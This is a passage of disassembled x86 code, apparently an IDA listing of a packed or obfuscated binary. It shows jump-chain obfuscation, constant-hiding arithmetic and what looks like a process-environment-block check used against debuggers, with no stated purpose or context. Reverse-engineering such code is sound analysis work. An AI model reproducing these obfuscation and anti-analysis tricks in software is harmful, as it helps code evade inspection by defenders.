FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_427D1C: ; CODE XREF: sub_42CBD1+18j jmp loc_4287EB ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_427D21: ; CODE XREF: sub_429BD3+Ej jmp loc_42B9B4 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- loc_427D26: ; CODE XREF: wto1jq8f:004291DBj jmp loc_428511 ; --------------------------------------------------------------------------- jle loc_426956 pushf jmp loc_4263D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_427D37: ; CODE XREF: sub_42DB52-5260j sbb edx, ecx lea edx, [ebp-14h] loc_427D3C: ; CODE XREF: wto1jq8f:loc_4244E4j mov eax, offset dword_42D5D0 call sub_42A56D jmp loc_42F836 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- add ebp, 4887087Dh pushf ; START OF FUNCTION CHUNK FOR sub_426535 loc_427D52: ; CODE XREF: sub_426535:loc_42D855j jmp sub_42B339 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h loc_427D63: ; CODE XREF: wto1jq8f:0042EC29j mov edx, [ebp+8] mov [edx-8], eax jmp loc_42A585 ; --------------------------------------------------------------------------- cmp dword ptr [ebp-10h], 2 push offset loc_42A386 jmp locret_429A73 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_427D7D: ; CODE XREF: sub_429281-3426j jmp loc_42AB3A ; END OF FUNCTION CHUNK FOR sub_429281 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427D82 proc near ; CODE XREF: sub_428A19+7p ; wto1jq8f:00429249p var_20 = dword ptr -20h ; FUNCTION CHUNK AT 00424112 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004246F7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004259B9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426F76 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004274E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A0C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427A18 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00429C4F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00429F49 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042B215 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B543 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C3E5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042CDCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DFA7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EC34 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_4259B9 sub_427D82 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_427D8B: ; CODE XREF: sub_426950+4D53j xchg edi, [edx] ; END OF FUNCTION CHUNK FOR sub_426950 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427D8D proc near ; CODE XREF: sub_426950:loc_42AD8Aj push ebx push 0DC533826h pop ebx rol ebx, 0Fh jmp loc_42F1D8 sub_427D8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427D9C: ; CODE XREF: sub_426535:loc_429EE0j jz loc_42D85B jmp loc_424D53 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_427DA7 proc near ; DATA XREF: wto1jq8f:00428CA1o arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00427061 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042A57D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A96E SIZE 0000000D BYTES sbb ebx, eax not eax adc ebx, ecx add edx, 0AACB2EFCh jz loc_427061 sub eax, 0C17A267Ch adc ebx, 70DF8F90h jmp loc_42FB14 sub_427DA7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 150h call sub_428183 jmp loc_428E7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BC4 loc_427DD9: ; CODE XREF: sub_428BC4+4934j pop large dword ptr fs:0 add esp, 4 pop ecx mov ecx, offset loc_42CF2B call sub_42419B loc_427DEE: ; CODE XREF: sub_428136-1439j jmp loc_428FC7 ; END OF FUNCTION CHUNK FOR sub_428BC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427DF3: ; CODE XREF: sub_426535+740Fj sub edi, 0CABF05F4h sub esi, 0DF34073Ah loc_427DFF: ; CODE XREF: sub_426535:loc_42D692j call sub_4282A6 loc_427E04: ; CODE XREF: wto1jq8f:loc_426A4Fj jns sub_424556 jmp loc_4297A3 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- sub eax, 0C85AA677h jmp near ptr sub_4282FE ; --------------------------------------------------------------------------- loc_427E1A: ; CODE XREF: wto1jq8f:00426914j xor edx, 1F4CC71Eh call sub_429165 push esi push 981FA149h pop esi rol esi, 11h xor esi, 0A640173Bh jmp loc_42B163 ; --------------------------------------------------------------------------- loc_427E3A: ; DATA XREF: sub_424F23+1479o add edx, eax rol edx, 5 xor edx, esi rol edx, 5 add edx, edi push offset dword_42BFD0 jmp locret_425A7D ; =============== S U B R O U T I N E ======================================= sub_427E50 proc near ; CODE XREF: wto1jq8f:00426FC0j ; wto1jq8f:0042A633p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427251 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042B975 SIZE 00000005 BYTES mov [esp+0], eax pop eax push eax call sub_42D910 mov ds:dword_42F1F0, eax loc_427E5F: ; CODE XREF: wto1jq8f:loc_42A62Aj lea eax, [ebp-14h] xor edx, edx push edi jmp loc_427251 sub_427E50 endp ; --------------------------------------------------------------------------- cmp ecx, eax jmp loc_42DB8C ; --------------------------------------------------------------------------- mov esi, [ebx] shl ebp, 1 jmp loc_42A54A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_427E7A: ; CODE XREF: sub_42B353+FC7j push 0DF2CEA6Ch pop eax sub eax, 7E43BAAAh and eax, 51EBB87Eh add eax, 0A2B67600h add eax, ebp jmp loc_42CAE4 ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428FD1 loc_427E99: ; CODE XREF: sub_428FD1-1DE2j mov [ebp+0], ebx jmp loc_42B4E8 ; END OF FUNCTION CHUNK FOR sub_428FD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427EA1: ; CODE XREF: sub_426535:loc_42C172j cmp dword ptr [ebp-4], 4 loc_427EA5: ; CODE XREF: wto1jq8f:0042D736j jnz loc_42B4E8 lea eax, [ebp-2BBh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42B4E8 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_427EC2: ; CODE XREF: sub_42DC5C:loc_42DE02j mov eax, [ebp-4] movzx eax, word ptr [eax+14h] push esi push 0A71F4FA7h pop esi rol esi, 10h jmp loc_42CF9E ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- add eax, 414B998Ch mov eax, [eax] push offset sub_42D120 jmp loc_42E3E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_427EEA: ; CODE XREF: sub_42A909:loc_42C58Aj mov [eax], edx push 326D078Dh jmp loc_42E81B ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_427EF6: ; CODE XREF: sub_428B05+9j ; sub_425F4F:loc_429A43j ... js loc_429A4F sub ebx, 10000h mov eax, [ebx] neg eax cmp ax, 0A5B3h jmp loc_429A43 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_427F0F: ; CODE XREF: sub_42DB52-4BC1j jnz loc_426492 jmp loc_428F51 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- loc_427F1A: ; CODE XREF: wto1jq8f:00429186j xchg eax, [esp] pop eax push eax rol eax, 17h mov dword ptr ds:loc_42F0A4, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_427F29: ; CODE XREF: sub_42A2B8+4203j jmp loc_428454 ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- sub ebp, 87FF7DF9h jmp sub_427218 ; --------------------------------------------------------------------------- loc_427F39: ; CODE XREF: wto1jq8f:00429B08j cmp esi, 26F4212Ch jmp loc_425043 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA7A loc_427F44: ; CODE XREF: sub_429459-2A1Cj ; sub_42DA7A+2j ror eax, 18h push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_42DA7A ; =============== S U B R O U T I N E ======================================= sub_427F4E proc near ; CODE XREF: wto1jq8f:00427821p ; wto1jq8f:0042A6F8j ... jo near ptr loc_42F118+1 xchg ebp, ebx push offset sub_42873E jmp nullsub_145 sub_427F4E endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_427F61: ; CODE XREF: wto1jq8f:00428A78j jmp loc_4273C5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C507 loc_427F67: ; CODE XREF: sub_42C507-585j jmp nullsub_37 ; END OF FUNCTION CHUNK FOR sub_42C507 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_427F6C: ; CODE XREF: sub_42CBD1-5B57j rol ebp, 17h jmp loc_42A425 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_427F74: ; CODE XREF: sub_42A909+4495j add ebp, edx jmp loc_428EB6 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- mov [edi], esi jmp loc_42D9D3 ; --------------------------------------------------------------------------- test al, al jz loc_428552 jmp loc_42A072 ; =============== S U B R O U T I N E ======================================= sub_427F8F proc near ; CODE XREF: wto1jq8f:00426B74j ; wto1jq8f:00429D05p ; FUNCTION CHUNK AT 0042AA7F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042C20B SIZE 0000000A BYTES mov [esp+0], ecx pop ecx test byte ptr [eax-8], 10h jz loc_42C20B jmp loc_42AA7F sub_427F8F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427FA2: ; CODE XREF: sub_426535:loc_42A7BFj mov ecx, offset sub_427FAB xchg ecx, [esp+24h+var_24] retn ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_427FAB proc far ; DATA XREF: sub_426535:loc_427FA2o ; FUNCTION CHUNK AT 0042C83D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042EC74 SIZE 00000005 BYTES and ecx, 0DB4094DEh jmp loc_42EC74 sub_427FAB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_427FB6: ; CODE XREF: sub_42DC5C:loc_42DE36j push edx pushf push offset loc_42754B jmp nullsub_45 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- loc_427FC2: ; CODE XREF: wto1jq8f:loc_42DFA2j jnz loc_425D67 jmp loc_4269C6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246D4 loc_427FCE: ; CODE XREF: sub_4246D4+4689j jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_4246D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDD loc_427FD3: ; CODE XREF: sub_428DDD-261j jmp loc_425BE9 ; END OF FUNCTION CHUNK FOR sub_428DDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B3D loc_427FD8: ; CODE XREF: sub_427B3D:loc_42CBB7j pop esi lea eax, [ebp-70h] push eax call dword ptr [ebp-4] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_427B3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E83D loc_427FE4: ; CODE XREF: sub_42E83D+Ej jmp loc_42C3B7 ; END OF FUNCTION CHUNK FOR sub_42E83D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_427FE9: ; CODE XREF: sub_426535-24D5j jmp nullsub_8 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov edx, 43A8AC5Ch push eax push 96892669h pop eax jmp loc_42E22A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D22D loc_427FFF: ; CODE XREF: sub_42D22D-2297j xchg edx, [esi] and edi, 75B4711Dh sbb edx, 0DFF8F16Dh sub edi, ebp jmp loc_42D3B9 ; END OF FUNCTION CHUNK FOR sub_42D22D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_428014: ; CODE XREF: sub_42750A+16j pop eax sub eax, 0A30516CFh or eax, ds:4000F2h js loc_4298CC mov [esi], eax jmp sub_4260A9 ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- loc_42802E: ; CODE XREF: wto1jq8f:loc_42638Dj jz loc_42C7E5 jmp loc_42B042 ; --------------------------------------------------------------------------- loc_428039: ; CODE XREF: wto1jq8f:00429995j and eax, 0FFFFFFh cmp eax, 0C3C033h jnz loc_42A503 jmp loc_42B882 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_42804E: ; CODE XREF: sub_4293FF:loc_42A95Bj push eax push esi push 0EB90AE93h pop esi add esi, 1C0DDBCEh sub esi, ds:4000F1h add esi, 0ECCF7B19h jmp loc_4246F2 ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- loc_42806D: ; CODE XREF: wto1jq8f:00426699j jge loc_428FE8 xor esi, 0D3F57ACh xchg esi, [ebp+0] jmp loc_42E43F ; --------------------------------------------------------------------------- loc_428081: ; CODE XREF: wto1jq8f:004291E1j jnz loc_426ED4 jmp loc_4273F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A30F loc_42808C: ; CODE XREF: sub_42A909:loc_42A931j ; sub_42A30F+3B40j jz loc_42FD8C jmp loc_4248AD ; END OF FUNCTION CHUNK FOR sub_42A30F ; --------------------------------------------------------------------------- loc_428097: ; DATA XREF: sub_42E8D0+9o push edi push 3F6880A7h pop edi add edi, 0C0DA0FB5h mov [edi], eax pop edi retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4280A8: ; CODE XREF: sub_426535+4FC3j jmp loc_429E0D ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_4280AD: ; CODE XREF: wto1jq8f:0042AB6Dj jmp loc_42E3A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_4280B2: ; CODE XREF: wto1jq8f:00426DDAj ; sub_424F7A:loc_42D926j ror eax, 14h jmp loc_42CA31 ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_4280BA: ; CODE XREF: sub_42D9D9-7261j mov eax, 6 sub eax, [ebp-4] push offset loc_42D352 jmp near ptr byte_42F09C ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4280CC: ; CODE XREF: sub_426535+7A01j jnz loc_426DC7 xor esi, eax xor edx, edi jmp loc_426DC5 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_4280DB: ; CODE XREF: sub_42E5B2:loc_42CDDDj push eax push offset loc_429221 jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; =============== S U B R O U T I N E ======================================= sub_4280E6 proc near ; CODE XREF: sub_4281DD+9p xchg ecx, [esp+0] mov ecx, [esp+0] mov esp, ebp pop ebp push offset loc_42C9DC jmp nullsub_9 sub_4280E6 endp ; --------------------------------------------------------------------------- push eax push eax push ebx call sub_42D343 jmp loc_424CA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_428106: ; CODE XREF: sub_4240DC+8BA5j jmp loc_425CCE ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42810B: ; CODE XREF: sub_42DC5C:loc_42DD64j jnz loc_42D559 jmp loc_42932A ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE87 loc_428116: ; CODE XREF: sub_42DE87:loc_424A59j sub dword ptr [esp+0], 7798285Ch push 0 push ebx push 529E09Bh pop ebx add ebx, 0FB18ABAFh xchg ebx, [esp+8+var_8] jmp sub_42A7E2 ; END OF FUNCTION CHUNK FOR sub_42DE87 ; --------------------------------------------------------------------------- loc_428134: ; CODE XREF: wto1jq8f:00428F2Dj mov [edi], edx ; =============== S U B R O U T I N E ======================================= sub_428136 proc near ; CODE XREF: sub_42DC5C-9BFp ; FUNCTION CHUNK AT 00426CEB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B1D8 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg eax, edi push edi xchg eax, edi rol eax, 17h push edi jmp loc_42B1D8 sub_428136 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_428148: ; CODE XREF: sub_42B353-76Ej jnz near ptr loc_42F541+2 loc_42814E: ; CODE XREF: sub_42D133+7j jmp loc_42C151 ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- db 0Fh dd 0FFE4DE88h, 99E381FFh, 0E97287C7h, 73DCh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp locret_4247EC ; --------------------------------------------------------------------------- loc_42816A: ; CODE XREF: wto1jq8f:00427767j jmp loc_424294 ; --------------------------------------------------------------------------- xor edx, ecx jmp sub_425C40 ; --------------------------------------------------------------------------- locret_428176: ; CODE XREF: wto1jq8f:loc_42C163j retn 8 ; --------------------------------------------------------------------------- loc_428179: ; CODE XREF: wto1jq8f:0042C4AEj jmp loc_428700 ; --------------------------------------------------------------------------- loc_42817E: ; CODE XREF: wto1jq8f:004279DDj jmp loc_424154 ; =============== S U B R O U T I N E ======================================= sub_428183 proc near ; CODE XREF: sub_42B276-63D3j ; wto1jq8f:00425D6Ap ... ; FUNCTION CHUNK AT 0042FA8E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042FAC3 SIZE 00000081 BYTES ; FUNCTION CHUNK AT 0042FB58 SIZE 00000003 BYTES js sub_42CED1 push offset sub_42D13F jmp loc_42FAC3 sub_428183 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb ebx, edi ror esi, 15h sub edi, ebx ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42819A: ; CODE XREF: sub_42B276:loc_429D43j call nullsub_1 retn ; END OF FUNCTION CHUNK FOR sub_42B276 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EADC loc_4281A1: ; CODE XREF: sub_42EADC+1j jmp loc_42EC51 ; END OF FUNCTION CHUNK FOR sub_42EADC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_4281A6: ; CODE XREF: sub_426950+4440j jmp loc_42B69D ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_4281AB: ; CODE XREF: sub_42B276:loc_426281j ; sub_42B276:loc_428E35j push offset loc_429CD7 jmp nullsub_36 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- mov eax, [ebp-0Ch] cmp eax, ds:dword_42F1D4 jz loc_4245A9 push 0AC761955h pop eax xor eax, 0AAB6C12Fh jmp loc_42D612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_4281D5: ; CODE XREF: sub_42EDB9:loc_42828Aj ; sub_42EDB9-64ACj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_4281D8: ; CODE XREF: wto1jq8f:004289B5j jmp loc_4261C7 ; =============== S U B R O U T I N E ======================================= sub_4281DD proc near ; CODE XREF: wto1jq8f:00426A0Fj ; wto1jq8f:loc_42C5BBp ; FUNCTION CHUNK AT 004278EB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042EFB5 SIZE 00000007 BYTES jno loc_42EFB5 push ebp mov ebp, esp call sub_4280E6 jmp loc_4278EB sub_4281DD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C859 loc_4281F0: ; CODE XREF: sub_42C859+4j jmp loc_42B1AF ; END OF FUNCTION CHUNK FOR sub_42C859 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_4281F5: ; CODE XREF: sub_42A3DA-5942j jmp loc_42CD1E ; END OF FUNCTION CHUNK FOR sub_42A3DA ; --------------------------------------------------------------------------- xor edi, ebp jmp sub_42419B ; --------------------------------------------------------------------------- db 53h, 68h, 32h dd 5B9AFC86h, 8117C3C1h, 0F2B4C8C3h, 0E9C30397h, 7ADCh dd 0B6E9FE3Bh db 62h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42821F proc near ; CODE XREF: wto1jq8f:loc_42451Dp ; wto1jq8f:0042C970j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004287B0 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042E44F SIZE 00000005 BYTES mov [esp+0], edi pop edi xor ecx, 2FA80D1Dh popf jmp loc_42E44F sub_42821F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42822F: ; CODE XREF: sub_42A2B8+4Aj popf loc_428230: ; CODE XREF: sub_42A2B8:loc_42A2F0j rol eax, 1Dh add eax, 4F273149h jmp loc_42DAD0 ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42EA4D ; --------------------------------------------------------------------------- jnz loc_42F9B4 call sub_42B5D9 ; --------------------------------------------------------------------------- loc_42824F: ; CODE XREF: wto1jq8f:0042713Bj jmp loc_42E69B ; --------------------------------------------------------------------------- loc_428254: ; CODE XREF: wto1jq8f:0042BF5Bj jns loc_42793B ; =============== S U B R O U T I N E ======================================= sub_42825A proc near ; CODE XREF: sub_42DC5C-37DBp xchg edi, [esp+0] pop edi push 0 push 42F011h jmp nullsub_162 sub_42825A endp ; --------------------------------------------------------------------------- loc_42826A: ; DATA XREF: wto1jq8f:004294C8o xchg ebp, ecx mov ebp, esp jb loc_42B68E add esp, 0FFFFFFE0h lea eax, [ebp-20h] jmp loc_42EDCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42827F: ; CODE XREF: sub_429471:loc_4288F7j mov [esi], eax shr ebx, 12h jmp sub_42B705 ; END OF FUNCTION CHUNK FOR sub_429471 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42828A: ; CODE XREF: sub_42EDB9:loc_428D1Dj jz loc_4281D5 jmp loc_428905 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; =============== S U B R O U T I N E ======================================= sub_428295 proc near ; CODE XREF: sub_42776C+1p ; wto1jq8f:0042C824j ; FUNCTION CHUNK AT 0042E989 SIZE 00000005 BYTES mov [esp+0], ebx pop ebx mov ebp, esp jnz sub_42E460 jmp loc_42E989 sub_428295 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4282A6 proc near ; CODE XREF: wto1jq8f:00426D2Cj ; sub_426535:loc_427DFFp ; FUNCTION CHUNK AT 0042FFA6 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push ecx push 36A78EBAh jmp loc_42FFA6 sub_4282A6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4282B5: ; CODE XREF: wto1jq8f:loc_42A1BDj push 288C2526h jmp loc_4283AE ; --------------------------------------------------------------------------- loc_4282BF: ; CODE XREF: wto1jq8f:0042883Aj sub ebp, edi ; =============== S U B R O U T I N E ======================================= sub_4282C1 proc near ; CODE XREF: wto1jq8f:00425B1Ap ; FUNCTION CHUNK AT 00424211 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E850 SIZE 00000008 BYTES mov [esp+0], ebx pop ebx inc dword ptr [ebp-4] mov eax, [ebp+8] mov eax, [eax-10h] shr eax, 6 jmp loc_424211 sub_4282C1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_4282D6: ; CODE XREF: sub_42EDB9-4A38j push 0E4A4295Dh loc_4282DB: ; CODE XREF: sub_42EDB9:loc_42A373j add eax, 6383F92Ah call sub_42D1A8 loc_4282E6: ; CODE XREF: wto1jq8f:00429A8Ej jmp loc_425E60 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; =============== S U B R O U T I N E ======================================= sub_4282EB proc near ; CODE XREF: wto1jq8f:00429848p xchg esi, [esp+0] pop esi call sub_428183 sub_4282EB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428310 loc_4282F4: ; CODE XREF: sub_428310:loc_42DFACj push offset loc_427762 jmp near ptr loc_42EE6C+1 ; END OF FUNCTION CHUNK FOR sub_428310 ; =============== S U B R O U T I N E ======================================= sub_4282FE proc far ; CODE XREF: wto1jq8f:00427E15j ; sub_42C6C3+1162p xchg edx, [esp+0] pop edx mov [ebp-4], eax inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jmp loc_4287FD sub_4282FE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428310 proc far ; CODE XREF: wto1jq8f:00425EAFp ; wto1jq8f:00429A75j ; FUNCTION CHUNK AT 004282F4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042DFAC SIZE 00000005 BYTES mov [esp+0], esi pop esi mov eax, 52h call sub_428183 jmp loc_42DFAC sub_428310 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_428323: ; CODE XREF: sub_429281:loc_428361j push offset loc_42BC10 jmp loc_42CB08 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- loc_42832D: ; CODE XREF: wto1jq8f:0042410Dj jnz loc_426002 ; =============== S U B R O U T I N E ======================================= sub_428333 proc far arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00424CA9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042869C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042A12B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AA44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AFBF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C3FE SIZE 00000005 BYTES xchg edx, [esp+0] pop edx test eax, ecx pop ecx jz loc_424CA9 mov eax, 62h jmp loc_42A12B sub_428333 endp ; sp-analysis failed ; --------------------------------------------------------------------------- adc ebx, eax ; START OF FUNCTION CHUNK FOR sub_426535 loc_42834C: ; CODE XREF: sub_426535:loc_42B952j call sub_424585 mov edx, 0C231F698h push ebx jmp loc_4241ED ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- jmp loc_42A812 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_428361: ; CODE XREF: wto1jq8f:004240C8j ; sub_429281:loc_425E55j ... jz loc_428323 mov eax, large fs:30h add eax, 54h mov eax, [eax] or eax, eax jmp loc_42431F ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_42837A: ; CODE XREF: 